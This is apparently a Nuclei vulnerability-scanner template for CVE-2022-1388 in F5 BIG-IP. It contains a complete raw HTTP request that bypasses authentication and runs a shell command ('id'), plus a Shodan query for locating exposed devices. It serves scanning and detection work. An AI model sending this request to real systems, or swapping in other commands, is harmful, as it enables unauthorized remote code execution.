2022-05-09 07:53:05 +00:00
|
|
|
id: CVE-2022-1388
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: F5 BIG-IP iControl REST Auth Bypass RCE
|
|
|
|
author: dwisiswant0
|
|
|
|
severity: critical
|
|
|
|
description: |
|
|
|
|
This vulnerability may allow an unauthenticated attacker
|
|
|
|
with network access to the BIG-IP system through the management
|
|
|
|
port and/or self IP addresses to execute arbitrary system commands,
|
|
|
|
create or delete files, or disable services. There is no data plane
|
|
|
|
exposure; this is a control plane issue only.
|
|
|
|
reference:
|
2022-05-09 08:40:31 +00:00
|
|
|
- https://twitter.com/GossiTheDog/status/1523566937414193153
|
2022-05-09 07:53:05 +00:00
|
|
|
- https://support.f5.com/csp/article/K23605346
|
2022-05-09 08:58:57 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.80
|
|
|
|
cve-id: CVE-2022-1388
|
|
|
|
cwe-id: CWE-306
|
2022-05-09 09:37:01 +00:00
|
|
|
metadata:
|
|
|
|
shodan-query: http.title:"BIG-IP®-+Redirect" +"Server"
|
|
|
|
verified: true
|
|
|
|
tags: bigip,cve,cve2022,rce,mirai
|
|
|
|
|
|
|
|
variables:
|
|
|
|
auth: "admin:"
|
2022-05-09 08:36:32 +00:00
|
|
|
|
2022-05-09 07:53:05 +00:00
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /mgmt/tm/util/bash HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Connection: keep-alive, X-F5-Auth-Token
|
|
|
|
X-F5-Auth-Token: a
|
2022-05-09 08:36:32 +00:00
|
|
|
Authorization: Basic {{base64(auth)}}
|
2022-05-09 07:53:05 +00:00
|
|
|
Content-Type: application/json
|
|
|
|
|
|
|
|
{
|
|
|
|
"command": "run",
|
|
|
|
"utilCmdArgs": "-c id"
|
|
|
|
}
|
2022-05-09 09:37:01 +00:00
|
|
|
|
2022-05-09 07:53:05 +00:00
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "commandResult"
|
|
|
|
- "uid="
|
2022-05-09 09:37:01 +00:00
|
|
|
condition: and
|